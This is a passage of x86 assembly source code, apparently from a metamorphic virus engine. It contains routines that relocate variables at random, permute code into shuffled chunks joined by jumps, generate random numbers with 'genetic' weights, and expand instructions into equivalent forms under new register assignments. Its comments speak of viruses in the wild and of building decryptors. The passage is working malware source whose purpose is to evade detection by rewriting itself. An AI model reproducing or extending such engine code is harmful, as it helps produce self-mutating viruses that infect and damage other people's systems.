;; CheckIfInstructionUsesMem() (which returns EAX true or false) and when
;; the variable only has DeltaRegister as the index.
;;
;;
;; ECX = Delta offset register (must be known)
;; [VariableTable] = Address of buffer to store variables
;; [NumberOfVariables] = Place to store the number of variables
;;
IdentifyVariables proc
mov esi, [ebp+InstructionTable]
mov edi, [ebp+VariableTable]
xor eax, eax
mov [ebp+NumberOfVariables], eax ; Initialization
@@LoopGetVar:
xor eax, eax ; Get the instruction
mov al, [esi] ; Check if it's LEA
cmp eax, 0FCh ; If it is, don't take it in account
jz @@NextInstruction
call CheckIfInstructionUsesMem ; Get the usage of Mem by
; this instruction.
or eax, eax ; EAX = 0?
jz @@NextInstruction ; Then, it doesn't
mov al, [esi+1] ; Get first index
cmp eax, ecx ; Delta register?
jz @@DeltaOffsetAt1 ; If it's, jump
mov al, [esi+2] ; Get the second index
cmp eax, ecx ; Delta register?
jz @@DeltaOffsetAt2 ; If it's, jump
@@NextInstruction:
add esi, 10h ; Next instruction
cmp esi, [ebp+AddressOfLastInstruction] ; Last instr.?
jnz @@LoopGetVar ; If not, jump
jmp @@SelectNewVariables ; Jump to regarble the variables.
@@DeltaOffsetAt1:
mov al, [esi+2] ; Get the index where the Delta
jmp @@Continue_01 ; register wasn't
@@DeltaOffsetAt2:
mov al, [esi+1]
@@Continue_01:
cmp eax, 8 ; Is it another index?
jnz @@NextInstruction ; If it is, don't change it.
mov eax, [esi+3] ; Get addition.
mov edx, [ebp+VariableTable] ; Get the variable table
mov ebx, [ebp+NumberOfVariables] ; Get the counter of
; variables.
sub eax, [ebp+_DATA_SECTION] ; Get the offset inside the
and eax, 0FFFFFFF8h ; data_section
@@LookForVariable:
or ebx, ebx ; If we haven't found the variable
jz @@InsertVariable ; already inserted, insert it
cmp eax, [edx] ; Check if it exists
jz @@VariableExists ; If exists, jump
add edx, 4 ; Check next variable
sub ebx, 4
jmp @@LookForVariable
@@InsertVariable: ; Insert the variable in the table
mov [edx], eax ; and use EDX as the new variable
mov eax, [ebp+NumberOfVariables] ; entry
add eax, 4
mov [ebp+NumberOfVariables], eax
@@VariableExists:
mov eax, 00000809h ; Set the index 9, which means
mov [esi+1], eax ; "variable identifier".
mov [esi+3], edx ; Variable address at table
jmp @@NextInstruction
@@SelectNewVariables:
mov ecx, 20000h / 4 ; Initialize the table of marks
mov edi, [ebp+VarMarksTable] ; for variables. This helps
xor eax, eax ; us to select new variables.
@@LoopInitializeMarks:
mov [edi], eax ; Initialize with 0s all the table
add edi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopInitializeMarks
;; Now what we are going to do is to get all the variables from the variable
;; table and select a new offset inside the DATA_SECTION for every one. In
;; this way the variables never point to the same place nor have a proportion
;; between them.
mov ecx, [ebp+NumberOfVariables] ; Get the table in EBX,
mov ebx, [ebp+VariableTable] ; ECX = number of entries
@@LoopGetNewVar:
call Random ; Select a new position
and eax, 01FFF8h
add eax, [ebp+VarMarksTable] ; Get the mark of the var.
mov edx, [eax] ; Is that address already reserved?
or edx, edx
jnz @@LoopGetNewVar ; If it is, select another one
mov edx, 1 ; Reserve that variable to avoid the
mov [eax], edx ; reselection of the offset
sub eax, [ebp+VarMarksTable]
push ebx ; Get the offset inside DATA_SECTION
mov ebx, eax
call Random ; Add a random from 0 to 3
and eax, 3
add eax, ebx
pop ebx
mov [ebx], eax ; Set the new address of the variable
add ebx, 4
sub ecx, 4 ; Next variable
or ecx, ecx ; Have we reached the end?
jnz @@LoopGetNewVar ; If not, loop again
ret ; Return
IdentifyVariables endp
;;
;;
;; End of variable identificator
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!Permutator
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The permutator
;;---------------
;;
;; The code here will divide in chunks of code all the disassembled made
;; before, and then linked with jumps. All the labels are also fixed, so
;; the returned permutation could be reassembled without problems.
;;
;; First, the table is generated, then shuffled and after that used to copy
;; the instructions in the order the table says. The table will be generated
;; taking the first instruction address as the beginning of the frame
;; generator, and then creating pairs of "beginnings" and "ends" of portions,
;; for example: x000-x020h, x020h-x070h, x070h-x140h, etc.
;;
;; We keep in every shuffle loop the situation of the first chunk of code,
;; since it's the entrypoint. Moreover, when making the portions we scan for
;; some specific instructions that it's better to not fragment (for example,
;; CALL [API_Address] and APICALL_STORE).
;;
PermutateCode proc
xor eax, eax
mov [ebp+NumberOfJumps], eax ; Initialize this
mov edi, [ebp+FramesTable]
mov ecx, [ebp+AddressOfLastInstruction]
mov eax, [ebp+InstructionTable]
mov esi, eax
sub ecx, eax ; Number of instructions * 10h
@@NextFrame:
call Random ; Get a random number between F0h and 1E0h
and eax, 0F0h
add eax, 0F0h
mov [edi], esi ; Set the beginning of the first frame
add esi, eax
mov [edi+4], esi ; Set the end as beginning+the random
mov ebx, esi
@@LoopCheckInst00:
sub ebx, 10h ; Get the last instruction
cmp ebx, [edi] ; If we meet the first instruction, stop
jz @@CheckInst_Next00
mov edx, [ebx] ; Get the pseudoopcode
and edx, 0FFh
cmp edx, 0FFh ; Is it NOP?
jz @@LoopCheckInst00 ; Then decrease again (ignore it)
cmp edx, 0EAh ; API CALL?
jnz @@CheckInst_Next00 ; If not, finish
@@LoopCheckInst01:
add ebx, 10h ; Get the next address
cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last
jz @@CheckInst_Next00 ; instruction, finish
mov edx, [ebx] ; Get the opcopde
and edx, 0FFh
cmp edx, 0FFh ; NOP?
jz @@LoopCheckInst01 ; If NOP, loop again
cmp edx, 0F6h ; Check for APICALL_STORE
jnz @@CheckInst_Next00 ; If it isn't, continue
add ebx, 10h ; Include APICALL_STORE in the frame
sub ebx, esi
add eax, ebx
add esi, ebx
mov [edi+4], esi
@@CheckInst_Next00:
mov ebx, esi ; Get the address of the last
jmp @@DontAdd10hYet ; instruction of the frame and jump
@@LoopCheckInst02:
add ebx, 10h ; Next instruction
@@DontAdd10hYet:
cmp ebx, [ebp+AddressOfLastInstruction] ; If it's the last
jz @@CheckInst_Next01 ; instruction, finish loop
mov edx, [ebx]
and edx, 0FFh
cmp edx, 0FFh ; NOP?
jz @@LoopCheckInst02 ; If NOP, get the next instruction
cmp edx, 0E9h ; JMP?
jz @@CheckInst_IncludeInstruction
cmp edx, 0FEh ; RET?
jz @@CheckInst_IncludeInstruction
cmp edx, 0EBh ; JMP Mem?
jz @@CheckInst_IncludeInstruction
cmp edx, 0EDh ; JMP Reg?
jz @@CheckInst_IncludeInstruction
cmp edx, 70h ; Jcc?
jb @@CheckInst_Next01
cmp edx, 7Fh
ja @@CheckInst_Next01
;; Include the next instructions in the same frame:
;; JMP: Include it to avoid strange situations where Jcc + JMP cannot be
;; compressed and then never eliminated (or something like that)
;; (3D problems :)
;; RET: The same: we avoid situations where a single RET is pointed by a
;; jump.
;; JMP Mem: Same as RET.
;; JMP Reg: Same as RET.
;; Jcc: To avoid unlinking it from its CMP/TEST from before, and then making
;; the shrinker to eliminate a single CMP/TEST.
@@CheckInst_IncludeInstruction:
add ebx, 10h ; Add instructions to the frame until all
push ebx ; the conflictive instructions are inserted
sub ebx, esi ; in the same frame. The others don't
add eax, ebx ; matter if they are wherever we want.
add esi, ebx
mov [edi+4], esi
pop ebx
jmp @@DontAdd10hYet
@@CheckInst_Next01:
add edi, 8 ; Increase the frame pointer
sub ecx, eax
cmp ecx, 01E0h ; Are we inside our last instructions?
jae @@NextFrame ; If we aren't, generate another
or ecx, ecx ; If we have arrived until the last
jz @@FramesCreationFinished ; instruction, it's finished.
mov [edi], esi ; Insert the instruction of this
add esi, ecx ; frame and the last instruction.
mov [edi+4], esi
add edi, 8
@@FramesCreationFinished:
mov [ebp+AddressOfLastFrame], edi ; Set the last frame.
@@TempLabel:
;; Calculate MOD
mov eax, edi ; Get a value we can use for
mov ebx, [ebp+FramesTable] ; mask a random number. The
sub eax, ebx ; value is got from the total
; EAX = Number of frames * 8 ; number of frames.
mov ebx, 8
@@LoopCalculateMOD:
shl ebx, 1
cmp ebx, eax
jb @@LoopCalculateMOD
sub ebx, 8
mov [ebp+MODValue], ebx
;; Now we have frames that we can permutate. We save the address of
;; the first frame to know where to jump when the code is reassembled
mov esi, [ebp+FramesTable]
mov [ebp+PositionOfFirstInstruction], esi
;; The frames are permutated. We have taken in account the first
;; instruction and we save everytime the address where the first
;; instruction is.
;; ESI = Table of frames
;; EDI = Address of last frame
mov edx, esi
@@LoopExchange:
call Random
mov ebx, [ebp+MODValue]
and eax, ebx
add eax, esi ; Get frame in EAX
; ; Uncommenting this instruction the engine doesn't permutate anything
; ; (used to avoid getting crazy while finding bugs in regenerated codes)
; mov eax, edx
cmp eax, edi ; Frame address > last frame address?
jae @@LoopExchange ; If so, get other random frame
mov ecx, [eax] ; Exchange frame at EDX with the random
mov ebx, [edx] ; frame got above.
mov [eax], ebx
mov [edx], ecx ; Be aware of first instruction position!
cmp edx, [ebp+PositionOfFirstInstruction]
jnz @@LookEAX
mov [ebp+PositionOfFirstInstruction], eax
jmp @@ExchangeNext
@@LookEAX:
cmp eax, [ebp+PositionOfFirstInstruction]
jnz @@ExchangeNext
mov [ebp+PositionOfFirstInstruction], edx
@@ExchangeNext:
add eax, 4
add edx, 4
mov ecx, [eax] ; Exchange frame
mov ebx, [edx]
mov [eax], ebx
mov [edx], ecx
add edx, 4 ; Next frame
cmp edx, edi ; Last frame?
jb @@LoopExchange ; If not, exchange next
;; Now we are going to copy the instructions and update the label
;; addresses in the label table. We include NOPs because they can
;; have a label over them, and if we eliminate them the label
;; updating will be problematic.
mov esi, [ebp+InstructionTable]
mov edi, [ebp+PermutationResult]
mov ebx, [ebp+FramesTable]
mov eax, [ebp+PositionOfFirstInstruction]
cmp ebx, eax
jnz @@InsertJump2
@@LoopCopyFrame:
mov eax, 0FFh
mov [ebp+Permut_LastInstruction], eax
mov edx, [ebx] ; Get the start and end address of the
add ebx, 4 ; frame and copy the instructions.
mov ecx, [ebx]
add ebx, 4
@@LoopCopyInstructions:
mov eax, [edx]
cmp al, 4Fh ; If we find a remaining pseudoopcode
jnz @@NextInstruction ; 4F from the shrinking part, we
mov al, 51h ; substitute it by the correct one:
mov [edx], eax ; PUSH Mem2/POP Mem
push eax
push ebx
mov ebx, [edx+7]
mov eax, 59h
mov [ebx], al
pop ebx
pop eax
@@NextInstruction:
mov [edi], eax ; Copy the instruction
mov eax, [edx+4]
mov [edi+4], eax
mov eax, [edx+8]
mov [edi+8], eax
mov [edi+0Ch], edx ; Set pointer to old code
mov [edx+0Ch], edi ; Set pointer to new code
mov eax, [edi]
and eax, 0FFh ; NOP?
cmp eax, 0FFh
jz @@NextInstruction2
@@SetLastInstruction:
; mov eax, [edi] ; Save opcode for later
; and eax, 0FFh
mov [ebp+Permut_LastInstruction], eax
jmp @@NextInstruction3
@@NextInstruction2:
mov eax, [edi+0Bh] ; Label over a NOP?
and eax, 0FFh
or eax, eax ; If so, jump to fix the problem
jnz @@SetLastInstruction
@@NextInstruction3:
add edi, 10h ; Next instruction in the frame
add edx, 10h
cmp edx, ecx ; Last instruction in the frame?
jnz @@LoopCopyInstructions ; If not, loop to copy
mov eax, [ebp+AddressOfLastFrame] ; Check if it's the last
cmp ebx, eax ; frame of the code (not of
jae @@LastFrameArrived ; the table)
mov eax, [ebx] ; Get the frame in the table
cmp eax, edx ; Is it the same?
jz @@LoopTestIfLastFrame ; Check if it's the last frame
; of the permutation table
@@LastFrameArrived:
mov eax, [ebp+Permut_LastInstruction]
cmp eax, 0E9h ; JMP <label> opcode
jz @@LoopTestIfLastFrame
cmp eax, 0EBh ; JMP Mem opcode
jz @@LoopTestIfLastFrame
cmp eax, 0EDh ; JMP Reg opcode
jz @@LoopTestIfLastFrame
cmp eax, 0FEh ; RET
jz @@LoopTestIfLastFrame
mov [edi+1], edx ; Set the new label
@@InsertJump:
mov eax, 0E9h ; JMP opcode
mov [edi], al ; Set the JMP to the new label
; EDI = Jump to update
call InsertJumpInTable ; Insert it in the table for later
add edi, 10h ; Next instruction
@@LoopTestIfLastFrame:
mov eax, [ebp+AddressOfLastFrame] ; Are we in the end of
cmp ebx, eax ; the table?
jae @@End ; If so, end instruction copy
jmp @@LoopCopyFrame ; If not, jump to continue the copy
@@InsertJump2:
mov eax, [eax] ; Get the label
mov [edi+1], eax ; Put it as label (but later will
jmp @@InsertJump ; be substituted)
; Here we have all instructions copied, and all the labels and jumps
; to other blocks waiting to be updated
@@End: mov [ebp+AddressOfLastInstruction], edi
; Update last instruction address
mov ecx, [ebp+NumberOfLabels]
mov edx, [ebp+LabelTable]
@@LoopUpdateLabel:
mov eax, [edx+4] ; Pointer to old code
mov ebx, [eax+0Ch] ; New position (directly from the
; instruction)
mov [edx], ebx ; Set new pointer in label
add edx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopUpdateLabel ; Next entry
; Now we update the inserted permutation jumps
; EDX = Pointer to label insert point (from the code above)
mov ecx, [ebp+NumberOfJumps]
mov ebx, [ebp+JumpsTable]
jmp @@CheckNumberOfJumps
@@LoopUpdateJumps:
mov esi, [ebx] ; Jump address
mov eax, [esi+1] ; Get jump destination
mov edi, [eax+0Ch] ; Get new address
mov [edx], edi ; Label pointer to new code
mov [edx+4], eax ; Label pointer to old code
mov [esi+1], edx ; Set label in jump
mov eax, [ebp+NumberOfLabels]
add eax, 1
mov [ebp+NumberOfLabels], eax
add edx, 8 ; Next new label pointer
add ebx, 4 ; Next jump to update
sub ecx, 4
@@CheckNumberOfJumps:
or ecx, ecx
jnz @@LoopUpdateJumps
;; All is OK in this point
ret
PermutateCode endp
;; Little function to insert jumps in the table.
InsertJumpInTable proc
mov ecx, [ebp+NumberOfJumps]
mov edx, [ebp+JumpsTable]
add edx, ecx
mov [edx], edi
add ecx, 4
mov [ebp+NumberOfJumps], ecx
ret
InsertJumpInTable endp
;; Random number generator. It's used along the engine.
Random proc
push edx
push ecx
mov eax, [ebp+RndSeed1]
mov ecx, [ebp+RndSeed2]
add eax, ecx
call RandomMod1
xor eax, [ebp+RndSeed1]
mov [ebp+RndSeed1], eax
mov ecx, eax
mov eax, [ebp+RndSeed2]
add [ebp+RndSeed2], ecx
call RandomMod2
xor eax, [ebp+RndSeed2]
mov [ebp+RndSeed2], eax
xor eax, [ebp+RndSeed1]
call RandomMod2
pop ecx
pop edx
ret
Random endp
RandomMod1 proc
mov edx, eax
and edx, 1FFFh
shl edx, 13h
and eax, 0FFFFFE00h
shr eax, 0Dh
or eax, edx
add eax, ecx
ret
RandomMod1 endp
RandomMod2 proc
mov edx, eax
and edx, 1FFFFh
shl edx, 0Fh
and eax, 0FFFFE000h
shr eax, 11h
or eax, edx
add eax, ecx
ret
RandomMod2 endp
;; Other wide-used function. Returns TRUE or FALSE in EAX.
RandomBoolean proc
call Random
and eax, 1
ret
RandomBoolean endp
;; Booleans based on a little genetic algorithm. Each boolean is a
;; better-than-random number based on the previous random numbers generated
;; with these ones. The viruses that keep in the wild will have accurated
;; behaviours based on these weights.
RandomBoolean_X000_3 proc
push ebx
mov ebx, [ebp+Weight_X000_3]
call CheckForBooleanWeight
mov [ebp+Weight_X000_3], ebx
pop ebx
ret
RandomBoolean_X000_3 endp
RandomBoolean_X004_7 proc
push ebx
mov ebx, [ebp+Weight_X004_7]
call CheckForBooleanWeight
mov [ebp+Weight_X004_7], ebx
pop ebx
ret
RandomBoolean_X004_7 endp
RandomBoolean_X008_11 proc
push ebx
mov ebx, [ebp+Weight_X008_11]
call CheckForBooleanWeight
mov [ebp+Weight_X008_11], ebx
pop ebx
ret
RandomBoolean_X008_11 endp
RandomBoolean_X012_15 proc
push ebx
mov ebx, [ebp+Weight_X012_15]
call CheckForBooleanWeight
mov [ebp+Weight_X012_15], ebx
pop ebx
ret
RandomBoolean_X012_15 endp
RandomBoolean_X016_19 proc
push ebx
mov ebx, [ebp+Weight_X016_19]
call CheckForBooleanWeight
mov [ebp+Weight_X016_19], ebx
pop ebx
ret
RandomBoolean_X016_19 endp
RandomBoolean_X020_23 proc
push ebx
mov ebx, [ebp+Weight_X020_23]
call CheckForBooleanWeight
mov [ebp+Weight_X020_23], ebx
pop ebx
ret
RandomBoolean_X020_23 endp
;; Function to save code above.
CheckForBooleanWeight proc
push ecx
push edx
mov ecx, ebx ; Get the sub-weight to use
cmp eax, 1
jz @@Check1
cmp eax, 2
jz @@Check2
cmp eax, 3
jz @@Check3
@@Check0: and ecx, 0000000FFh
mov edx, 000000001h
jmp @@Shr00
@@Check1: and ecx, 00000FF00h
mov edx, 000000100h
jmp @@Shr08
@@Check2: and ecx, 000FF0000h
mov edx, 000010000h
jmp @@Shr10
@@Check3: and ecx, 0FF000000h
mov edx, 001000000h
@@Shr18: shr ecx, 8
@@Shr10: shr ecx, 8
@@Shr08: shr ecx, 8 ; Set it at the beginning of ECX
@@Shr00:
call Random ; Get a random number in range 0-255
and eax, 0FFh
cmp eax, ecx ; If it's above/equal the weight, jump
jae @@Above
@@Below: cmp ecx, 0F8h ; If it has already the max value, don't
jae @@Return0 ; touch the weight
call Random
and eax, 0Fh ; True-random modification (some randomness
or eax, eax ; in the life of viriis :)
jz @@Return0
add ebx, edx ; Make more probability to FALSE
add ecx, 1
call Random
and eax, 0Fh ; Again?
or eax, eax
jz @@Below
@@Return0: xor eax, eax
pop edx
pop ecx
ret
@@Above: cmp ecx, 08h ; If it has already the min value, don't
jb @@Return1 ; decrease the weight
call Random
and eax, 0Fh ; Randomness
or eax, eax
jz @@Return1
sub ebx, edx ; Make more probability to TRUE
sub ecx, 1
call Random
and eax, 0Fh ; Again?
or eax, eax
jz @@Above
@@Return1: mov eax, 1
pop edx
pop ecx
ret
CheckForBooleanWeight endp
;;
;;
;; End of permutator.
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!Xpander
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The expander
;; ------------
;;
;; This routine expands a shrinked pseudo-asm code previously shrinked with
;; the shrinker module. It's more easy to expand here following the
;; single/pairs/triplets rules than encoding it directly in x86 asm.
;;
;; The rules of expansion are exactly the opposite ones that we use for
;; compression. For example:
;;
;; MOV [Mem],Reg
;; MOV Reg2,[Mem] ---> MOV Reg2,Reg
;;
;; but also:
;;
;; PUSH Reg
;; POP Reg2 ---> MOV Reg2,Reg
;;
;; Then the expansion rule for MOV Reg2,Reg will be:
;;
;; MOV Reg2,Reg ---> MOV [Mem],Reg + MOV Reg2,[Mem]
;; ---> PUSH Reg + POP Reg2
;;
;; where we select randomly one of the possible expansions.
;;
;; All the expansions are performed recursively, so every instruction involved
;; in an expansion will be expanded also, until we reach a recursivity level
;; specified in the variable [SizeOfExpansion] (from X to 3).
;;
XpandCode proc
mov esi, [ebp+InstructionTable] ; Source of expansion
mov edi, [ebp+ExpansionResult] ; Destiny of expansion
;; Let's get the register translation. We must have present that DeltaReg
;; cannot be EAX, ECX or EDX (due to API calls). Due to the usage of 8
;; bits registers, we saved the used 8 bits register while shrinking code,
;; so we must select that register first from one of the 4 first ones.
mov eax, [ebp+SizeOfExpansion]
mov [ebp+Xp_RecurseLevel], eax ; Set the initial
; recursivity level
mov eax, [ebp+CreatingADecryptor] ; If we are creating
or eax, eax ; a decryptor, keep the
jnz @@KeepRegisterTranslation ; current register translation
mov eax, 8
mov [ebp+Xp_Register0], eax ; Initialize the registers
mov [ebp+Xp_Register1], eax
mov [ebp+Xp_Register2], eax
mov [ebp+Xp_Register3], eax
mov [ebp+Xp_Register5], eax
mov [ebp+Xp_Register6], eax
mov [ebp+Xp_Register7], eax
mov eax, 4
mov [ebp+Xp_Register4], eax ; Set the ESP
@@Other8BitsReg:
call Random
and eax, 7
cmp eax, 3 ; Get a 8 bits register
ja @@Other8BitsReg
mov ebx, [ebp+Register8Bits] ; Get the saved register
call Xpand_SetRegister4Xlation ; Set the translation
@@OtherDeltaReg:
call Random ; Get a register
and eax, 7
cmp eax, 2 ; EAX, ECX or EDX?
jbe @@OtherDeltaReg ; If so, select another
cmp eax, 4 ; ESP?
jz @@OtherDeltaReg ; Then, select another
mov ebx, [ebp+DeltaRegister]
call Xpand_SetRegister4Xlation ; Set the register
or eax, eax
jz @@OtherDeltaReg ; Other if it coincides with Reg8
mov ebx, -1 ; Set EBX = 0 at first
@@NextRegister:
add ebx, 1
cmp ebx, [ebp+DeltaRegister] ; EBX = DeltaRegister?
jz @@NextRegister
cmp ebx, [ebp+Register8Bits] ; EBX = Register8Bits?
jz @@NextRegister
cmp ebx, 4 ; ESP?
jz @@NextRegister
cmp ebx, 8 ; End of loop?
jz @@EndOfRegisters
@@OtherRegister:
call Random ; Get a register
and eax, 7
cmp eax, 4
jz @@OtherRegister
call Xpand_SetRegister4Xlation ; Try to set the register
or eax, eax
jz @@OtherRegister ; If it's set in another one, select
jmp @@NextRegister ; another
@@EndOfRegisters:
mov eax, [ebp+DeltaRegister] ; Get the Delta Register
call Xpand_TranslateRegister ; Translate it
mov [ebp+TranslatedDeltaRegister], eax ; Save it
@@KeepRegisterTranslation:
@@Expand: ; mov eax, [esi]
call XpandThisInstruction ; Call to expand the current
add esi, 10h ; instruction
cmp esi, [ebp+AddressOfLastInstruction] ; Is it the last?
jnz @@Expand ; If not, continue
mov [ebp+AddressOfLastInstruction], edi
call Xpand_UpdateLabels ; Update the labels along the
ret ; code and finish
XpandCode endp
;; This function checks if the register passed at EAX exists in any other
;; variable of register translation (i.e. if any other register is translated
;; to that one). If it is, it returns with EAX = 0. If not, sets the number
;; of register in EAX in the register translation variable of the register
;; EBX, and returns with EAX = 1.
Xpand_SetRegister4Xlation proc
cmp eax, [ebp+Xp_Register0] ; Check if the register in
jz @@ReturnError ; EAX is used by other
cmp eax, [ebp+Xp_Register1] ; register to be translated
jz @@ReturnError ; as that one.
cmp eax, [ebp+Xp_Register2]
jz @@ReturnError ; If so, return with EAX = 0
cmp eax, [ebp+Xp_Register3]
jz @@ReturnError
cmp eax, [ebp+Xp_Register5]
jz @@ReturnError
cmp eax, [ebp+Xp_Register6]
jz @@ReturnError
cmp eax, [ebp+Xp_Register7]
jz @@ReturnError
or ebx, ebx ; Jump to the corresponding variable
jz @@SetAt0 ; setting to translate the register in
cmp ebx, 1 ; EBX.
jz @@SetAt1
cmp ebx, 2
jz @@SetAt2
cmp ebx, 3
jz @@SetAt3
cmp ebx, 5
jz @@SetAt5
cmp ebx, 6
jz @@SetAt6
@@SetAt7: mov [ebp+Xp_Register7], eax ; Set for the register EBX
jmp @@ReturnNoError ; the translation in EAX.
@@SetAt0: mov [ebp+Xp_Register0], eax
jmp @@ReturnNoError
@@SetAt1: mov [ebp+Xp_Register1], eax
jmp @@ReturnNoError
@@SetAt2: mov [ebp+Xp_Register2], eax
jmp @@ReturnNoError
@@SetAt3: mov [ebp+Xp_Register3], eax
jmp @@ReturnNoError
@@SetAt5: mov [ebp+Xp_Register5], eax
jmp @@ReturnNoError
@@SetAt6: mov [ebp+Xp_Register6], eax
jmp @@ReturnNoError
@@ReturnError:
xor eax, eax ; Return with FALSE if error
ret
@@ReturnNoError:
mov eax, 1 ; Return with TRUE if all OK
ret
Xpand_SetRegister4Xlation endp
;; This function will translate the register in EAX by the corresponding
;; new register, also in EAX.
Xpand_TranslateRegister proc
or eax, eax ; Jump to the corresponding variable usage.
jz @@Get0
cmp eax, 1
jz @@Get1
cmp eax, 2
jz @@Get2
cmp eax, 3
jz @@Get3
cmp eax, 4
jz @@Return ; Return ESP for ESP (no translation).
cmp eax, 5
jz @@Get5
cmp eax, 6
jz @@Get6
cmp eax, 7
jz @@Get7
mov eax, 8 ; If the register is >= 8, return 8.
ret
@@Get7: mov eax, [ebp+Xp_Register7] ; Get the translation and
ret ; return.
@@Get0: mov eax, [ebp+Xp_Register0]
ret
@@Get1: mov eax, [ebp+Xp_Register1]
ret
@@Get2: mov eax, [ebp+Xp_Register2]
ret
@@Get3: mov eax, [ebp+Xp_Register3]
ret
@@Get5: mov eax, [ebp+Xp_Register5]
ret
@@Get6: mov eax, [ebp+Xp_Register6]
@@Return: ret
Xpand_TranslateRegister endp
;; This function returns the register in reverse translation, it means, the
;; register that the register in EAX is translated to. It's the inversed
;; operation that performs Xpand_TranslateRegister, so if we get a register,
;; we translate it with Xpand_TranslateRegister and we pass the result to
;; this function, we'll get the original register. This function is useful
;; to know which register we must use before the expansion when we want a
;; specific register in the expanded result.
Xpand_ReverseTranslation proc
cmp eax, 4
jz @@Return ; Find the register in the register
cmp eax, [ebp+Xp_Register0] ; translation variables
jz @@Return0
cmp eax, [ebp+Xp_Register1]
jz @@Return1
cmp eax, [ebp+Xp_Register2]
jz @@Return2
cmp eax, [ebp+Xp_Register3]
jz @@Return3
cmp eax, [ebp+Xp_Register5]
jz @@Return5
cmp eax, [ebp+Xp_Register6]
jz @@Return6
cmp eax, [ebp+Xp_Register7]
jz @@Return7
mov eax, 8
@@Return: ret ; When we find it, return the number
@@Return0: xor eax, eax ; of register that uses that variable
ret ; for translating itself.
@@Return1: mov eax, 1
ret
@@Return2: mov eax, 2
ret
@@Return3: mov eax, 3
ret
@@Return5: mov eax, 5
ret
@@Return6: mov eax, 6
ret
@@Return7: mov eax, 7
ret
Xpand_ReverseTranslation endp
;; To make a real metamorphism we have a way of coding every instruction, in
;; both instruction expansion and reassembling. So, we check all the possible
;; pseudo-opcodes and we make a formula for them. The formulas used here must
;; be recognized by the shrinker.
XpandThisInstruction proc
mov eax, [esi+0Bh] ; Get the label
mov [edi+0Bh], eax ; Copy it
mov [edi+0Ch], esi ; Set the new pointers
mov [esi+0Ch], edi
xor eax, eax
mov al, [esi] ; Get the opcode
cmp eax, 4Ch ; Generic 32 bits operation?
ja @@Xpand_Next001 ; If not, jump
xor eax, eax
@@Generic: mov [ebp+Xp_8Bits], eax ; Set the 8 bits flag (0 or 80h)
mov eax, [esi]
and eax, 78h ; Get the operation
mov [ebp+Xp_Operation], eax ; Set it
mov eax, [esi] ; Get the type of operation
and eax, 7
or eax, eax ; OP Reg,Imm?
jz @@OPRegImm
cmp eax, 1 ; OP Reg,Reg?
jz @@OPRegReg
cmp eax, 2 ; OP Reg,Mem?
jz @@OPRegMem
cmp eax, 3 ; OP Mem,Reg?
jz @@OPMemReg
@@OPMemImm: ; OP Mem,Imm
mov eax, [ebp+Xp_8Bits] ; Get the 8 bits flag
or eax, eax ; If 0, jump
jz @@OPMemImm32
mov eax, [esi+7] ; Get the Imm
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@OPMemImmSet
or eax, 0FFFFFF00h
jmp @@OPMemImmSet ; Set the value
@@OPMemImm32:
mov eax, [esi+7] ; Get the normal value if 32 bits
@@OPMemImmSet:
mov [ebp+Xp_Immediate], eax ; Set the immediate
call Xpand_SetMemoryAddress ; Copy the mem. address ref.
; (translating the indexes also)
call Xp_GenOPMemImm ; Generate an OP Mem,Imm
jmp @@Ret
@@OPRegImm:
mov eax, [ebp+Xp_8Bits] ; Extend the sign for 8 bits
or eax, eax ; operations
jz @@OPRegImm32
mov eax, [esi+7]
and eax, 0FFh
cmp eax, 7Fh
jbe @@OPRegImmSet
or eax, 0FFFFFF00h
jmp @@OPRegImmSet
@@OPRegImm32:
mov eax, [esi+7]
@@OPRegImmSet:
mov [ebp+Xp_Immediate], eax ; Set the immediate
mov eax, [esi+1] ; Get the register
and eax, 0FFh
call Xpand_TranslateRegister ; Translate it to the new one
mov [ebp+Xp_Register], eax ; Set it
call Xp_GenOPRegImm ; Generate an OP Reg,Imm
jmp @@Ret
@@OPRegReg:
mov eax, [esi+1] ; Get the source register
and eax, 0FFh
call Xpand_TranslateRegister ; Translate it and set it
mov [ebp+Xp_SrcRegister], eax
mov eax, [esi+7] ; Get the destiny register
and eax, 0FFh
call Xpand_TranslateRegister ; Translate it and set it
mov [ebp+Xp_Register], eax
call Xp_GenOPRegReg ; Generate an OP Reg,Reg
jmp @@Ret
@@OPRegMem:
call Xpand_SetMemoryAddress ; Copy the memory address
mov eax, [esi+7] ; (with indexes translation)
and eax, 0FFh
call Xpand_TranslateRegister ; Translate the destiny reg.
mov [ebp+Xp_Register], eax ; Set it
call Xp_GenOPRegMem ; Generate an OP Reg,Mem
jmp @@Ret
@@OPMemReg:
call Xpand_SetMemoryAddress ; Copy the memory address
mov eax, [esi+7] ; (with indexes translation)
and eax, 0FFh
call Xpand_TranslateRegister ; Translate the source reg.
mov [ebp+Xp_Register], eax
call Xp_GenOPMemReg ; Generate an OP Mem,Reg
jmp @@Ret
@@Xpand_Next001:
cmp eax, 00h+80h ; Get if it's a 8 bits generic
jb @@Xpand_Next002 ; operation
cmp eax, 4Ch+80h
ja @@Xpand_Next002
mov eax, 80h ; If it is, set "8 bits usage"
jmp @@Generic ; (value 80h in [Xp_8Bits]) and
; jump to make the operation
@@Xpand_Next002:
cmp eax, 50h ; PUSH Reg?
jnz @@Xpand_Next003
mov eax, [esi+1] ; Then, translate the register
and eax, 0FFh ; and set it in the
